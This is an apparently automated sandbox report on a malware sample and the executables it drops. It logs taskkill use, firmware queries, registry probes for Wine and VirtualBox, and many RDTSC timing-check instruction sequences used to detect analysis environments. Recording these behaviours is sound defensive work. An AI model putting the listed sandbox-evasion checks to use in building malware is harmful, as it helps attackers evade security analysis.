Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE66B7 second address: FE66D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE6C5005F86h 0x00000008 jnc 00007FE6C5005F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE6B9D second address: FE6BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE6BA7 second address: FE6BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE6BAD second address: FE6BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE6D0F second address: FE6D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE6D1A second address: FE6D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9A41 second address: FE9A82 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C5005F8Ch 0x00000008 jg 00007FE6C5005F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 jmp 00007FE6C5005F8Bh 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007FE6C5005F93h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 js 00007FE6C5005F86h 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9BF9 second address: FE9C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C4735529h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9C1E second address: FE9C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e pop eax 0x0000000f mov edx, dword ptr [ebp+122D39EAh] 0x00000015 lea ebx, dword ptr [ebp+1244999Dh] 0x0000001b cld 0x0000001c xchg eax, ebx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9C4D second address: FE9C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9D09 second address: FE9D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9F32 second address: FE9F38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9F38 second address: FE9F3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9F3D second address: FE9F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE9F49 second address: FE9F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE6C5005F86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FE6C5005F86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFB6EF second address: FFB6F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFB6F3 second address: FFB700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1006E47 second address: 1006E87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnl 00007FE6C4735516h 0x00000015 jmp 00007FE6C473551Ch 0x0000001a jmp 00007FE6C4735523h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1007142 second address: 100716F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE6C5005F86h 0x0000000a popad 0x0000000b ja 00007FE6C5005F92h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE6C5005F8Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100716F second address: 1007177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1007479 second address: 100747D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100747D second address: 1007483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1007D38 second address: 1007D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1007E85 second address: 1007EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735529h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jnc 00007FE6C4735516h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100803F second address: 1008049 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1008049 second address: 100805E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FE6C4735516h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100805E second address: 100807B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE6C5005F97h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100807B second address: 1008086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100D844 second address: 100D848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD5995 second address: FD59A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE6C4735516h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD59A3 second address: FD59AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE6C5005F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10134CB second address: 10134CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10134CF second address: 10134F1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE6C5005F94h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10134F1 second address: 101350F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE6C4735530h 0x00000008 jmp 00007FE6C4735524h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10137C4 second address: 10137F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FE6C5005F9Ch 0x0000000b jmp 00007FE6C5005F96h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FE6C5005F86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10137F0 second address: 10137F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10137F6 second address: 10137FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013BE8 second address: 1013C02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FE6C4735516h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007FE6C4735516h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013C02 second address: 1013C16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE6C5005F8Eh 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007FE6C5005F86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013C16 second address: 1013C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE6C4735516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013C20 second address: 1013C26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013DD8 second address: 1013DDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013DDD second address: 1013E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE6C5005F99h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1013E05 second address: 1013E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015A8C second address: 1015A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015A90 second address: 1015A9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FE6C473551Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015B40 second address: 1015B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015B44 second address: 1015B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015B4A second address: 1015BF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F88h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FE6C5005F99h 0x00000014 jmp 00007FE6C5005F93h 0x00000019 pop edx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jns 00007FE6C5005FADh 0x00000024 mov eax, dword ptr [eax] 0x00000026 pushad 0x00000027 pushad 0x00000028 jnc 00007FE6C5005F86h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 jg 00007FE6C5005F8Ch 0x00000037 popad 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c push edx 0x0000003d jmp 00007FE6C5005F95h 0x00000042 pop edx 0x00000043 pop eax 0x00000044 mov dword ptr [ebp+122D2904h], eax 0x0000004a push 2D47EC13h 0x0000004f push eax 0x00000050 push edx 0x00000051 jnp 00007FE6C5005F90h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015D14 second address: 1015D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015D2B second address: 1015D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015F9B second address: 1015FAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10167C8 second address: 10167CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10167CE second address: 10167D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1016CEA second address: 1016CF4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1016CF4 second address: 1016D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735524h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1017312 second address: 1017318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1017318 second address: 101736D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jng 00007FE6C4735519h 0x00000011 mov si, ax 0x00000014 or edi, dword ptr [ebp+122D1E2Fh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FE6C4735518h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 xor edi, dword ptr [ebp+122D3A22h] 0x0000003c push 00000000h 0x0000003e mov esi, dword ptr [ebp+122D3A9Ah] 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FE6C473551Ch 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101736D second address: 1017373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FD22DD second address: FD2304 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 jmp 00007FE6C4735525h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FE6C4735534h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B039 second address: 101B059 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE6C5005F98h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B059 second address: 101B0CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C4735518h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FE6C4735518h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 jmp 00007FE6C4735529h 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
